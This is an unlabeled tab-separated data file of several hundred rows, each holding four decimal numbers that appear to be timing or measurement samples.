		32.1188570000231		45.5808379985392		26.7177109718323		97.8079259395599

		34.1809930019081		38.1464630030096		27.0677109956741		99.0744370222092

		33.1118780001998		38.4615659974515		33.1067750453949		102.23662507534

		34.4811499975622		41.5905769988895		19.611771941185		101.525218009949

		34.9767220020294		40.199534997344		24.9711480140686		98.8613640069962

		31.6079719997942		40.6715140007436		30.7080240249634		103.414594054222

		33.4281810000539		39.1151079982519		25.6553670167923		104.589488983154

		34.8230249993503		46.7059939987958		33.563805937767		109.994542956352

		33.7604720033705		52.2881819978356		22.8638570308685		96.4619890451431

		39.6096909977496		43.899482998997		32.5081280469894		115.681573987007

		32.0634410008788		40.3002649992704		30.7015659809113		90.1808429956436

		32.5657329969108		42.9644830003381		26.093701004982		105.48636507988

		33.7537009976804		48.5925050005317		22.2704190015793		100.909072995186

		31.4483890011907		45.005682002753		23.5301580429077		97.004124045372

		34.9601600021124		48.4528700001538		37.1319830417633		98.971675992012

		31.6085449978709		44.6260990016162		20.8966159820557		103.464334011078

		32.4823470003903		39.4503690004349		32.9663059711456		103.163135051727

		34.1446910016239		38.575107999146		36.5120871067047		98.8759469985962

		33.4696389995515		50.2478170022368		31.3307840824127		102.584594011307

		34.7626080028713		43.9700570032001		33.7205249071121		114.296625971794

		34.522243000567		40.5354209989309		24.149482011795		110.526782035828

		33.4775029979646		26.524690002203		26.7267739772797		99.641832947731

		33.9217220023274		38.9326080009341		28.1572940349579		91.4100610017777

		35.4942740015686		42.5580249987543		21.536719918251		98.7024049758911

		32.4727630019188		43.1539620012045		31.363284945488		109.87938606739

		33.157034996897		41.3792749978602		33.5711489915848		113.335167050362

		31.7315660007298		41.2677120007575		27.509899020195		98.5626659393311

		33.8281289972365		38.1539099998772		33.1414610147476		99.316624045372

		33.3384400010109		44.5559410005808		31.8590139150619		104.136156082153

		33.8098480030894		39.0578680001199		35.0732849836349		105.624541044235

		32.63193000108		42.0593280009925		27.0732309818268		86.9012590646744

		36.4421390034258		42.6271920017898		32.0015140771866		113.993866086006

		35.0920349992812		40.0063579976559		21.171147942543		98.9896969795227

		32.0795350000262		46.2828180007637		28.5533890724182		98.1743849515915

		35.9777639992535		39.2275040000677		32.3942220211029		110.316573023796

		33.5851590000093		42.9309419989586		21.3089610338211		121.173085093498

		32.9684930033982		42.9672439992428		25.3918250799179		97.4853221178055

		32.3393259979784		45.9834420010448		32.1234929561615		103.807927012444

		32.1589090004563		43.2700040005147		28.9531800746918		99.0282388925552

		35.2291189990938		41.5301079973578		32.7259410619736		73.046100974083

		34.781357999891		54.4576090015471		28.0201070308685		98.441311955452

		34.0332839973271		42.6079210005701		36.1427639722824		103.193812012672

		39.5870870016515		42.0905770026147		32.689325928688		95.0157899856567

		33.3522429987788		43.9121920019388		29.0052630901337		112.22386598587

		32.7250560000539		46.4340669997037		37.0718259811401		103.354490041733

		33.7507330030203		42.4941189996898		26.4452629089355		103.962198019028

		39.7999520003796		45.5889110006392		32.9036489725113		96.8758430480957

		32.3618259988725		45.3176610022783		33.4772950410843		98.2038120031357

		33.6301070004702		40.2475039996207		26.0379709005356		100.648707985878

		40.2303679995239		47.1562549993396		33.1193779706955		97.1441758871078

		39.5479729995131		38.4664099998772		34.9572429656982		97.752562046051

		35.7886499986053		42.8118270002306		21.5820859670639		100.067144989967

		36.5753690004349		45.2196919992566		33.0330240726471		109.581990003586

		34.3258889988065		42.356357999146		30.58427298069		104.714646100998

		36.2741700001061		43.1290670000017		22.2326070070267		97.9927179813385

		31.5505240000784		43.8264620006084		24.8276590108871		115.624803066254

		31.3164620026946		44.9245349988341		36.3071910142899		50.5138590335846

		32.1279200017452		39.8491180017591		29.9735970497131		107.485530972481

		39.3720880001783		40.5055770017207		33.2868258953094		108.285271048546

		32.5520859993994		42.2925039976835		30.438649058342		97.7984989881515

		34.9253679998219		37.9985980018973		27.1868780851364		76.9640179872513

		33.1470870003104		43.5652120001614		33.7913570404053		96.3669359683991

		33.4323469996452		42.9980770014226		27.7476069927216		109.090374946594

		39.4001599997282		42.1990659981966		37.8075549602509		91.4520930051804

		30.8191170021892		51.1190680004656		21.0510959625244		117.22287607193

		33.3469299972057		44.9146399982274		33.8117220401764		96.3742280006409

		32.9299510009587		44.2507340013981		25.1660960912704		94.7396969795227

		40.0421909987927		37.9518789984286		32.1503670215607		100.043030977249

		34.4343780018389		47.0022439993918		28.7558881044388		98.0558439493179

		35.4182840026915		40.7237539999187		15.2821890115738		94.0644359588623

		32.0145350024104		43.0417749993503		32.3101600408554		94.8153220415115

		30.0055759996176		39.0978680029511		28.1094299554825		83.96328997612

		40.4106290005147		51.1874010004103		27.587189912796		95.9631860256195

		33.3349520005286		41.8005769997835		32.3228149414062		97.003448009491

		33.9220870025456		43.4555249996483		29.6234409809113		99.3904790878296

		35.5404200032353		40.011619001627		32.7267740964889		103.182301998138

		35.9695870019495		40.5609420016408		31.1137009859085		109.072250962257

		36.4469829984009		41.0138579979539		31.9741179943085		98.3767290115356

		34.0733369998634		42.0990669988096		34.0162529945374		116.682043075562

		35.87130600214		48.499170999974		33.1389620304108		90.150426030159

		34.4174509979784		50.6290680021048		32.1356279850006		108.998136043549

		32.5541179999709		40.8920350000262		30.5897430181503		105.161520957947

		32.4867219999433		42.4693269990385		24.0548470020294		93.7366240024567

		32.5498990006745		41.6542750000954		28.7203669548035		95.231467962265

		30.8835450001061		39.9385979995131		31.0520340204239		99.425843000412

		39.9640659987926		42.820369001478		32.3469309806824		109.785948991776

		31.5730240009725		40.6772430017591		31.1862009763718		100.128968000412

		33.853544998914		40.9268789999187		27.0543251037598		82.9615179300308

		31.1885970011353		40.1846919991076		23.5888569355011		104.752354025841

		32.1484410017729		42.4447439983487		19.0315639972687		86.1074570417404

		34.1381279975176		40.9326080009341		28.8575550317764		110.688397049904

		34.105055000633		40.7876090034843		35.6629719734192		102.147822976112

		30.6403679996729		42.0717750005424		31.4363580942154		110.687147021294

		39.1878160014749		50.6830260008574		30.3964610099792		96.3499050140381

		39.9068270027637		39.6487540006638		30.9168260097504		102.722821950912

		33.9766179993749		43.1369840018451		31.5283889770508		102.197250008583

		35.703284997493		38.3273470029235		34.57630610466		98.7951140403748

		32.9182850010693		38.6787020005286		28.1019300222397		101.122563004494

		32.8121910020709		49.602348998189		31.8453160524368		106.301625013351

		34.0983890034258		50.1707859970629		30.732085943222		68.0615690946579

		30.8495860025287		38.2941180020571		21.6542209386826		103.056103944778

		33.6017219983041		43.4214100018144		23.1174509525299		102.42053103447

		31.692815002054		40.986359000206		31.8172940015793		98.414696931839

		31.42349300161		38.2500040009618		34.7581279277802		105.903136014938

		33.0145870000124		50.9013589993119		29.4440140724182		98.5216759443283

		35.5918780006468		40.3724000006914		30.8083879947662		98.0801661014557

		31.3555759973824		42.2325039990246		26.2325030565262		102.598968029022

		38.424847997725		38.5401080027223		22.0193769931793		104.168969035149

		39.5065139979124		40.7062539979816		23.5725549459457		94.2144889831543

		33.8690140023828		39.6033900007606		29.7064089775085		104.402666926384

		35.6731289997697		44.2268270030618		24.2056790590286		89.9963629245758

		31.338856998831		41.0988059975207		31.6543270349503		104.74766600132

		36.3857840001583		39.3268269971013		32.1578149795532		81.2580810785294

		32.1181280016899		36.9782329946756		25.1744289398193		105.008968949318

		39.1577129997313		44.0284420102835		28.2693769931793		90.0092799663544

		34.2654199972749		38.2280250042677		20.2305229902267		95.2538640499115

		34.1483370028436		40.1993269920349		31.0606279373169		110.022146940231

		32.9694299995899		42.1187019944191		33.8798469305038		109.435531020165

		33.3648989982903		44.8355250060558		33.0393780469894		101.216051101685

		35.6227120012045		39.4496400058269		20.5045850276947		93.2788630723953

		34.3083359971642		38.7741699963808		30.5675550699234		99.1533949375153

		34.5750029981136		43.4244319945574		32.3794300556183		97.6035519838333

		35.1554720029235		42.9261500090361		29.2298460006714		97.1704260110855

		33.7540140002966		40.4296920001507		45.410003900528		93.8911550045014

		39.6612010002136		42.4394830018282		31.1839100122452		102.640686988831

		31.1793779991567		40.7176080048084		21.3066689968109		95.1869369745254

		32.8857850022614		38.9744829982519		28.9450550079346		108.410531997681

		39.7552120015025		46.7054210007191		35.0707849264145		112.649489998817

		32.6069829985499		44.2099529951811		32.6444829702377		106.441104054451

		30.7482319995761		35.1171389967203		31.875314950943		104.678656935692

		32.8320860005915		40.1875039935112		24.7077620029449		104.785009980202

		31.6596909984946		51.8155259937048		27.0608880519867		107.473865032196

		44.312295999378		39.8496920019388		34.3832850456238		113.344542980194

		40.2406810000539		45.261619001627		30.301460981369		107.587249994278

		31.4961489997804		42.5521389991045		31.8968259096146		102.876469016075

		34.4896389991045		42.8167230039835		31.5757839679718		98.4579789638519

		32.3350029997528		42.909899994731		31.5377629995346		102.538550972939

		32.4616179987788		44.0722960084677		24.1350539922714		102.82469701767

		33.6343259997666		41.7238060086966		31.6722949743271		106.740791916847

		33.3830760009587		40.9832859933376		31.8627110719681		97.5917290449143

		33.2221390008926		40.9580249935389		27.7531279325485		93.3263109922409

		31.6434400007129		38.9852120131254		30.1391699314117		108.063501000404

		35.7717220000923		40.85620200634		31.0139609575272		110.161469936371

		35.2757849991322		40.577035009861		23.6791689395905		81.8309459686279

		34.6482330001891		43.1294310092926		31.0148990154266		84.0914140939713

		32.9668259993196		44.2210979908705		29.2223470211029		103.045843958855

		32.9234410002828		40.47838999331		25.2257319688797		96.3873010873795

		39.7253169976175		39.0728170126677		32.0359400510788		95.2427179813385

		35.6205240003765		42.7320350110531		33.6258890628815		92.7204780578613

		33.5249509997666		42.5376079976559		10.0875009298325		94.7419890165329

		32.8663060031831		42.3538590073586		30.8473459482193		97.3245409727097

		33.9032330028713		43.6825049966574		32.4380760192871		92.5350090265274

		37.2575040012598		43.5918789952993		30.8446390628815		109.546990036964

		33.2809929996729		41.3795350044966		29.5335969924927		106.305791020393

		34.3113050013781		42.1338059902191		30.5460450649261		107.974593997002

		32.2166169993579		45.0355770140886		29.6024510860443		104.025947093964

		31.9486490003765		42.0496399998665		28.5340129137039		115.022406935692

		32.2564100027084		41.2852129936218		32.6631289720535		103.14141702652

		31.898806001991		39.0202639997005		24.9164609909058		98.3263640403748

		32.9168779999018		38.1922430098057		34.2510969638824		94.6937600374222

		33.5728159993887		45.7652650028467		27.8172940015793		104.438135027885

		33.7196389995515		38.6061500012875		15.8880740404129		111.998605012894

		32.0193779990077		43.8101600110531		24.2921379804611		100.265998959541

		32.8873989991844		39.1506810039282		31.3621379137039		103.214645981789

		35.9438579976559		47.6234419941902		36.7126070261002		101.956519961357

		39.8862540014088		40.2713070064783		30.5185960531235		93.3624570369721

		30.0682849995792		38.6320350021124		30.1870859861374		85.0763100385666

		30.7563580013812		40.6694830060005		35.1825549602509		104.842563033104

		33.5365660004318		46.7398999929428		26.4719300270081		92.9881339073181

		32.137866999954		37.4530250132084		28.9534400701523		108.47073996067

		40.3390660025179		52.7283390015364		30.611200928688		103.587198019028

		32.905731998384		13.2434910088778		31.2713569402695		109.311990022659

		33.7846379987895		39.2031809985638		31.7483369112015		98.737144947052

		31.544116999954		42.6530769914389		23.9194289445877		94.8957380056381

		30.0732320025563		43.5998479872942		30.5942219495773		105.246520996094

		32.9305760003626		48.6088590025902		32.6208889484406		104.578657031059

		31.1500549986958		43.0752650052309		39.1835969686508		96.3514159917832

		32.656409997493		53.3605269938707		21.7005228996277		103.537042021751

		29.5067219994962		50.5909940004349		24.13114798069		98.378082036972

		32.2357840016484		48.1078699976206		27.7467221021652		100.962875008583

		32.5610969997942		42.4869320094585		23.0021380186081		81.4380289316177

		31.3786490000784		54.0175579935312		28.7797939777374		105.464072942734

		30.1889609992504		40.7553170025349		31.4180759191513		136.369440078735

		30.945003002882		42.6451089978218		32.9039100408554		99.1305819749832

		33.0218780003488		48.2339629977942		31.1225550174713		103.223916053772

		32.4766689985991		43.7414630055428		33.3352630138397		90.4966230392456

		29.186252001673		38.8192739933729		34.5797430276871		102.964542031288

		25.4362530000508		38.5226079970598		24.0128149986267		103.386364936829

		35.2893790006638		44.4112029969692		17.0855740308762		95.7235509157181

		33.4000029973686		35.7680239975452		32.7367739677429		95.6981339454651

		32.1723470017314		48.1279730051756		24.6599498987198		91.3203740119934

		33.8418260030448		44.5553690046072		28.350888967514		84.2509980201721

		32.5339090004563		41.2652119994164		24.3604190349579		96.6172490119934

		33.3256280012429		45.1241709887981		27.7611479759216		85.8414670228958

		31.0871389992535		41.504482999444		31.2886490821838		99.9143331050873

		33.470315001905		44.0959939956665		28.6119819879532		107.730792045593

		32.1372950002551		41.0931809991598		26.3398979902267		91.1366760730743

		31.9754199981689		40.4668789952993		9.71510493755341		96.0138639211655

		31.3270859979093		39.9856809973717		33.5655760765076		102.982979059219

		34.2000549994409		41.0823480039835		32.9089620113373		97.7725620269775

		40.1749519966543		44.9694840013981		31.7727119922638		99.1694890260697

		30.1233890019357		44.8543799966574		31.2965130805969		101.610009908676

		34.1738580018282		48.1705249994993		31.9234930276871		102.964280962944

		34.8881280012429		41.0803159922361		22.4923980236053		112.667250037193

		31.9611489996314		40.5896909981966		27.3823469877243		95.8403750658035

		35.0279720015824		39.8087539970875		36.9039620161057		94.8242800235748

		32.3464100025594		39.6943790018558		23.3616170883179		104.77001106739

		34.6459929980338		46.025160998106		31.1545859575272		104.797821998596

		34.8690659999847		39.3443790078163		33.8027639389038		94.9365190267563

		35.0695349983871		42.3853159993887		16.3600540161133		89.9662590026856

		38.6365670002997		39.1063580065966		28.3786489963531		98.6907910108566

		31.3670860007405		40.4743259996176		27.9188040494919		92.6182389259338

		30.9708890020847		41.2429210096598		27.3680230379105		95.0449050664902

		33.1240650005639		38.7558890134096		32.5848469734192		83.2817269563675

		31.2482319995761		40.2591180056334		33.3679200410843		102.211780905724

		39.8032329976559		42.5184930115938		37.3607850074768		121.125636935234

		33.3614099994302		42.9799520075321		31.3280229568481		102.049384951591

		29.956356998533		40.2828689962626		27.0428680181503		102.25100004673

		31.4299509972334		39.7994830012321		32.6983360052109		96.117821931839

		30.1979719996452		40.0622429996729		34.5345870256424		96.644436955452

		33.2367749996483		41.3671920001507		33.8568789958954		94.6515200138092

		36.4550039991736		39.8075039982796		30.8843779563904		100.751102924347

		33.5556280016899		38.6169830113649		29.8400549888611		95.6259469985962

		33.1867740005255		37.5160980075598		31.243595957756		95.7119890451431

		34.2783889994025		41.4046400040388		39.0528689622879		95.2846449613571

		33.0677109993994		41.1508900076151		34.5620869398117		111.775218963623

		31.6806809976697		52.5804210007191		31.7242740392685		95.1554780006409

		33.681618001312		39.1550559997559		31.2038050889969		102.030738949776

		34.4811489991844		44.2519320100546		19.0855749845505		97.3484469652176

		33.3140660002828		45.6541189998388		23.2729190587997		100.129333019257

		33.6590129993856		40.0655770003796		31.3827120065689		93.79141497612

		32.8462530001998		44.7850559949875		32.1229200363159		121.755272984505

		36.8369309976697		38.2291710078716		34.9016180038452		100.572562932968

		30.9580760002136		40.8394310027361		22.6568250656128		91.1821439266205

		34.8922429978847		41.6407860070467		33.4578679800034		108.622823953629

		39.3374000005424		45.7889630049467		30.10213804245		70.0966219902039

		32.1465650014579		40.0672949999571		21.9850540161133		94.5980299711227

		31.7968260012567		42.1518789976835		26.8118259906769		110.022615075111

		35.1754199974239		41.2198999971151		31.1238059997559		98.8467800617218

		31.8382319994271		45.9866710007191		34.0845869779587		103.019437074661

		39.825056001544		52.346255004406		31.8754720687866		102.417770981789

		35.6138049997389		44.0142759978771		22.4485960006714		105.756573081017

		32.3685450032353		40.0327640026808		40.566202044487		106.822718977928

		33.246305000037		53.5905779898167		32.4734929800034		113.025063991547

		34.4587530009449		39.005419999361		30.5949510335922		100.198864102364

		31.4964090026915		39.6595350056887		35.3623480796814		105.451469063759

		30.8657319992781		43.480786010623		24.1347939968109		118.222824931145

		33.2615660019219		38.3746909946203		30.9173989295959		102.599228978157

		31.7642740011215		44.2441189885139		23.6699509620666		101.976312041283

		30.9783889986575		35.8353160023689		27.0212010145187		104.987718939781

		30.4171390011907		37.8238580077887		35.0378160476685		106.588136076927

		30.7284409999847		42.9381819963455		31.4777119159698		102.44084405899

		32.4493259973824		41.5990659892559		31.4962530136108		105.405166983604

		31.0843780003488		41.3858380019665		39.1043260097504		84.4228730201721

		35.1529719978571		39.0663580000401		30.9565140008926		104.6244379282

		33.6781280003488		39.5929200053215		31.8627120256424		107.440322995186

		32.3254190012813		45.2733380049467		39.5474519729614		99.1226150989533

		33.5978679992259		37.3397949934006		32.4791699647903		103.000635027885

		39.373493000865		39.1484410017729		30.8931800127029		100.09360396862

		31.3771909996867		41.1327129900455		23.7970860004425		103.363343000412

		33.2995870001614		45.894067004323		21.7854709625244		94.3223009109497

		35.2979200035334		47.4497959911823		28.2509919404984		107.59480202198

		33.0804200023413		46.3116190135479		32.1775031089783		97.8890199661255

		31.9267220012844		39.3052639961243		31.623389005661		100.87485396862

		30.4697430022061		41.4807330071926		31.6296908855438		101.674332976341

		33.4474509991705		41.0234939903021		32.1956280469894		103.648655891418

		34.0004200004041		40.9739629924297		31.1483891010284		97.5121970176697

		39.2531290017068		43.9495870023966		33.7140140533447		102.279697060585

		32.7548469975591		40.800003990531		33.4144819974899		97.9677699804306

		31.8409410007298		37.4266699999571		32.5042740106583		96.2296969890594

		31.4442219994962		43.5456289947033		25.8162009716034		102.993239998817

		31.2516700029373		32.7280240058899		28.1402629613876		108.854230046272

		32.2782850004733		39.1744830012321		31.6290130615234		100.005479097366

		32.9827639982104		41.981306001544		32.2015129327774		110.365375995636

		32.1939090006053		49.3400050103664		30.8294299840927		78.4415699243546

		34.827555000782		39.8606809973717		30.6883881092072		98.0754259824753

		33.0312529988587		36.549378991127		35.2768269777298		97.5548529624939

		33.0183359980583		38.1075560003519		34.3144310712814		108.253239989281

		32.7487009987235		46.1160460114479		32.6480239629745		91.1856859922409

		30.5253159999847		65.1678710132837		29.6068780422211		91.0045930147171

		30.5432839989662		41.3279210031033		24.734482049942		89.9446439743042

		38.6297949999571		39.135576993227		28.9493260383606		105.971520066261

		33.4131279997528		43.5354730039835		26.2751590013504		102.164124011993

		30.4409409984946		14.4388030022383		28.4808360338211		104.485011100769

		34.9271910004318		41.2363059967756		22.2956800460815		106.584594011307

		35.3249519988894		41.8675560057163		31.0218260288239		102.361051917076

		32.9123479984701		40.0297959893942		31.5067219734192		98.8623539209366

		31.5353149995208		38.3627119958401		31.8801069259644		107.135635018349

		30.2073469981551		46.8171920031309		35.6378679275513		111.183761000633

		30.9792219996452		36.8421389907598		32.8888570070267		104.335478901863

		31.842191003263		40.5911500006914		31.2489620447159		96.4460510015488

		30.3878680020571		37.2705239951611		38.1930249929428		105.849489927292

		33.4138580001891		41.9071910083294		22.4131280183792		94.4505300521851

		33.2201600000262		41.2388059943914		32.1435450315475		99.9839689731598

		35.8177639991045		41.0126609951258		33.2692220211029		103.166363954544

		30.6387530006468		39.0469830036163		31.7177640199661		117.630481004715

		43.9704209975898		40.8971909880638		30.3757840394974		67.3639129400253

		34.6124509982765		30.10568100214		24.2371380329132		81.2909970283508

		30.8634410016239		41.6641190052033		27.1752110719681		103.21954190731

		32.927919998765		41.9807330071926		30.1362010240555		98.9560519456864

		39.5034409984946		43.3390669971705		31.4776080846786		94.5382390022278

		31.4039609991014		42.5257339924574		32.1373990774155		96.8490200042725

		44.0771920010448		42.9714099913836		29.0220340490341		103.646103978157

		30.8566699996591		14.4796369969845		26.253023982048		73.954069018364

		31.9080759994686		38.2855769991875		23.2546899318695		85.4152679443359

		33.0863569974899		39.7649000138044		24.13218998909		88.4077689647675

		39.2934940010309		45.144170999527		31.4712530374527		114.70490694046

		32.1695870012045		41.744432002306		39.5357849597931		100.685218930244

		35.9505769982934		43.2893790006638		32.7576069831848		105.396365046501

		39.3838059976697		41.0378690063953		25.9630229473114		100.354176998138

		33.4300029985607		48.3493800014257		31.5396909713745		95.1496970653534

		32.6610449999571		38.7886500060558		33.3710449934006		103.421988964081

		31.9482840001583		40.8258379995823		31.619117975235		100.574488997459

		33.2675030007958		40.0240140110254		17.8915640115738		104.379124999046

		34.4884929992259		43.431410998106		32.2219299077988		97.7208950519562

		33.1484929993749		40.7210980057716		23.3351060152054		98.7402189970016

		33.0772950015962		39.9785449951887		26.944482088089		108.723083019257

		31.6738569997251		43.7344829887152		34.3015660047531		92.5774569511414

		32.3682839982212		38.8459420055151		33.6897430419922		94.6817799806595

		35.0033879987895		49.4091719985008		32.0760970115662		96.4597500562668

		34.8532330021262		41.4166180044413		20.58531498909		108.92475104332

		31.2202109992504		45.0574520081282		24.2103139162064		102.565634965897

		33.1475039981306		40.0929210036993		26.8209400177002		92.7323529720306

		32.0458889976144		45.2637550085783		29.1423990726471		100.434542059898

		33.109378002584		41.5455770045519		23.2926069498062		95.0869879722595

		32.2117219977081		39.831149995327		32.0335448980331		100.691520094872

		31.3820340000093		49.3612029999495		20.8758879899979		99.4830830097198

		30.6753150001168		41.0883370041847		39.3729211091995		97.6734989881516

		33.062867000699		47.6412539929152		32.3595349788666		105.026833057404

		33.1105760000646		39.8793260008097		31.8796390295029		99.5412080287933

		35.2369819991291		43.1730249971151		29.0472939014435		97.5681350231171

		38.8902119994164		52.2971400022507		32.0050559043884		112.290635943413

		34.5338579975069		40.8916710019112		32.4707329273224		102.014385104179

		31.0468779988587		41.4666710048914		31.7210450172424		102.403135061264

		32.8354719989002		44.1033379882574		31.5760970115662		103.864333033562

		31.760419998318		38.6417749971151		8.94942796230316		91.0605819225311

		32.1883889995515		40.6939619928598		32.3797949552536		94.3358950614929

		34.8264620006084		22.1819819957018		32.6664619445801		101.448917031288

		36.3602639995515		46.5804740041494		23.3484399318695		73.9628199338913

		32.5021909996867		40.3933370113373		29.4628150463104		96.6880300045013

		31.7471380010247		39.9983900040388		32.4997419118881		99.0702699422836

		31.3766690008342		47.5577129870653		32.8831799030304		100.185010075569

		39.6829199977219		45.0601079910994		32.9627630710602		100.957041025162

		32.2831799983978		45.5766709893942		26.2450540065765		112.77084505558

		33.2608889974654		40.7356289923191		36.1844309568405		97.5315719842911

		30.7753159999847		41.2036499977112		30.599534034729		96.6095409393311

		30.535055000335		45.1266189962626		31.5917739868164		95.9413639307022

		35.7379730008543		40.6536500006914		31.862398982048		88.3904260396957

		31.7537529990077		40.6258889883757		33.271096944809		109.327355027199

		33.2110450007021		38.8559930026531		22.4034910202026		96.0209469795227

		31.2035450004041		47.6571400016546		32.9151079654694		106.714280962944

		30.8384400010109		42.7654210031033		31.1328150033951		110.882406949997

		33.7587010003626		46.1480769962072		27.1533880233765		108.951938033104

		32.6004199981689		50.0894840061665		35.0762020349503		69.7499549388886

		32.5901070013642		40.6085980087519		33.3520350456238		101.630635023117

		34.5365130007267		44.2541190087795		31.7279200553894		93.8105299472809

		31.5858369991183		44.970212996006		30.7837529182434		94.5390199422836

		32.3220349997282		41.0171390026808		32.7272950410843		108.181573033333

		31.3302629999816		43.0958900004625		31.2790660858154		105.364906072617

		34.6486489996314		45.8433379977942		32.1090129613876		97.2590730190277

		32.7353679984808		42.10620200634		31.7172430753708		97.5807909965515

		39.315369002521		39.4007849991322		33.7203680276871		113.856366038322

		34.7163570001721		45.6267229914665		32.4798469543457		92.440425992012

		30.8879720009863		40.1458900123835		31.5999519824982		110.940896034241

		32.9842739999294		42.1875559985638		28.4465650320053		97.7095930576325

		39.1002129986882		44.2008379995823		31.1498470306396		102.571208000183

		32.9744830019772		42.1165660023689		31.244117975235		95.6427180767059

		34.9053680002689		42.4952130019665		38.8020349740982		96.6251140832901

		32.7305759973824		48.3660989999771		25.5601589679718		96.657145023346

		33.6181279979646		46.7081820070744		25.3189090490341		108.376103997231

		32.5418270006776		39.0195360034704		33.3509409427643		103.815479040146

		33.2018259987235		39.3188059926033		32.7179200649261		99.5182909965515

		30.7440659999847		41.4533379971981		27.0531280040741		106.573708891869

		33.1346900016069		43.390629991889		26.9895859956741		81.8194869756699

		31.6293260008097		42.6132860034704		29.2058889865875		103.884750008583

		31.6441169977188		43.0756289958954		32.1727119684219		121.09855401516

		31.1716700010002		41.7840660065413		31.8541170358658		103.23412501812

		39.0315660014749		48.376047000289		38.2476599216461		106.146782040596

		32.3064089976251		39.4796919971704		30.7066689729691		109.62490606308

		30.5165649987757		38.5575039982796		31.350576043129		95.0986030101776

		32.0356290005147		36.2376080006361		33.0657320022583		96.8201659917832

		31.0957319997251		41.8037540018559		34.0254200696945		86.1577169895172

		32.274690002203		39.1218789964914		32.6260449886322		96.4978749752045

		39.0436500012875		40.8001599907875		30.5700550079346		101.273342967033

		34.9266179986298		40.7395870089531		33.4690129756927		108.224334001541

		34.636930000037		39.0024510025978		29.9512530565262		93.0028220415115

		34.7869310006499		43.00208799541		31.8969819545746		91.3611549139023

		39.4650040008128		37.3984410017729		33.4296909570694		96.0654780864716

		40.9923999980092		43.1868789941072		32.9144819974899		104.194489955902

		32.4907319992781		39.3822430074215		31.1408360004425		101.678187012672

		33.1306289993226		35.1355240046978		37.094899058342		91.8491239547729

		32.3128159977496		37.1867740005255		37.2004200220108		94.7834470272064

		34.3145870007575		37.7328159958124		22.4418770074844		113.334229946136

		35.0223989970982		38.9115660041571		33.0977640151978		101.725583076477

		30.277503002435		39.1520870029926		26.3419300317764		108.384333968163

		30.8578670024872		48.844068005681		30.2788580656052		97.7358950376511

		35.060993000865		38.8220869898796		29.8498989343643		100.913344025612

		32.4441700018942		42.6231810003519		31.9270859956741		103.552041053772

		31.1383880004287		43.3393270075321		31.8568259477615		93.906259894371

		33.4670870006084		37.5193789899349		30.4157320261002		105.110948085785

		35.1094309985638		38.9431809931993		24.5384920835495		102.665167093277

		39.342920999974		40.7319829910994		33.5450549125671		115.357147097588

		32.0137010030448		38.2713060081005		23.7347939014435		102.279437065125

		36.3857330009341		39.4762019962072		33.1648989915848		104.71719789505

		33.5633889995515		51.6259949952364		31.1684930324554		99.0374580621719

		34.3738059997559		37.1766709983349		28.3954720497131		96.3835519552231

		33.7823989987373		41.553233012557		34.6215659379959		103.677353978157

		34.0550040006638		45.9854210019112		32.6126070022583		106.478500962257

		33.0860450007021		43.384432002902		28.2819299697876		107.881417036057

		32.2452119998634		45.5869839936495		32.9455759525299		99.1425620317459

		41.40609799698		33.1722949892282		31.4463049173355		95.3139159679413

		30.9669829979539		38.6604209989309		32.4693779945374		103.974073052406

		30.6403159983456		36.7031809985638		31.5894819498062		98.9062080383301

		33.6550030000508		50.4015679955482		30.8456799983978		99.4435000419617

		32.790107998997		43.1268270015717		28.954274058342		96.7790199518204

		32.272606998682		41.8031290024519		27.0891690254211		105.814593076706

		32.192919999361		29.6655229926109		32.2321389913559		99.6860519647598

		31.7946910001338		49.313129991293		20.6099499464035		105.757562994957

		32.8785969987512		44.5439630001783		32.4183880090713		82.5110499858856

		39.0625040009618		40.9412539899349		24.513335943222		109.511260986328

		33.7293779999018		43.6494840085507		32.2111489772797		96.0755299329758

		31.5624510012567		38.1221919953823		32.2788569927216		114.999595046043

		35.1562529988587		41.8477129936218		31.1999510526657		108.385635972023

		30.625106997788		40.4469310045242		27.2696900367737		95.0077179670334

		34.6309929974377		39.3115659952164		31.3665130138397		95.5558949708939

		32.1996909976006		40.2251079976559		33.2189099788666		109.682407021523

		33.9556809999049		44.9870879948139		29.2551070451736		95.4466240406036

		33.3855249993503		34.2012529969215		38.4411500692368		92.4036029577255

		33.1565140001476		33.6121390014887		31.1715649366379		100.455218911171

		30.6609409973025		44.105265006423		31.0057319402695		79.0526640415192

		33.620731998235		41.877503991127		35.2470350265503		103.438447952271

		33.7025029994547		43.1560460031033		31.7869299650192		103.045219063759

		32.5225029997528		38.2189619988203		32.5962009429932		93.4425089359283

		33.0756280012429		39.560471996665		33.5824509859085		90.2192800045014

		35.1940659992397		42.4566189944744		27.8837529420853		111.67818903923

		31.720993001014		51.7790150046349		31.9000560045242		99.6903229951858

		33.3435970023274		40.7746910005808		31.4878680706024		104.991573095322

		39.4037539996207		39.1239099949598		23.0294809341431		103.356260895729

		39.072868000716		43.0003689974546		29.2485970258713		93.8340721130371

		33.4661489985883		55.2016199976206		27.485888004303		103.277563095093

		31.4042210020125		41.5531290024519		31.652764081955		79.9616229534149

		33.4642749987543		41.2676080018282		22.9332311153412		103.033656001091

		39.0008889995515		33.7890650033951		28.7325549125671		90.8778730630875

		35.3137010000646		37.8451080024242		30.4298989772797		104.852979063988

		31.0868260003626		41.2365140020847		32.9899519681931		112.197198987007

		31.2828669995069		36.8629730045795		31.1511489152908		95.6057898998261

		30.8042740002274		32.7271910011768		24.0284399986267		95.3909989595413

		31.8331799991429		37.9210450053215		33.2174509763718		109.964282035828

		33.1389620006084		35.2150039970875		39.0640660524368		105.893083930016

		31.0745339989662		38.1664620041847		32.8455239534378		108.958708047867

		38.9371920004487		34.7258889973164		33.0226600170135		98.1706870794296

		30.9151590019464		43.4330770075321		23.5362520217895		99.6832909584045

		33.9580239988863		31.9129709899425		18.6920850276947		104.974177002907

		33.617607999593		31.4909400045872		36.2194310426712		108.429437994957

		33.4235970005393		39.9302120059729		28.4114609956741		97.9873529672623

		39.1167749986052		47.9560980051756		33.7713059186935		98.8062599897385

		32.3428150005639		32.8375030010939		31.7378669977188		102.027458906174

		26.3629189990461		33.3179730027914		33.6344829797745		103.944229960442

		33.9613569974899		38.1885969936848		32.789950966835		102.532718062401

		30.142294999212		44.5402130037546		31.357607960701		93.3489679098129

		33.2766170017421		33.4495860040188		30.417711019516		102.941311955452

		31.664378002286		36.2413060069084		17.9413559436798		116.522875905037

		32.5474510006607		34.3527640104294		30.3426070213318		97.1290720701218

		32.7867739982903		37.5304720103741		38.0004719495773		104.557353973389

		34.448231998831		35.4652640074491		30.3176070451736		95.8544878959656

		30.6737530007958		35.7460969984531		30.6017739772797		101.015790939331

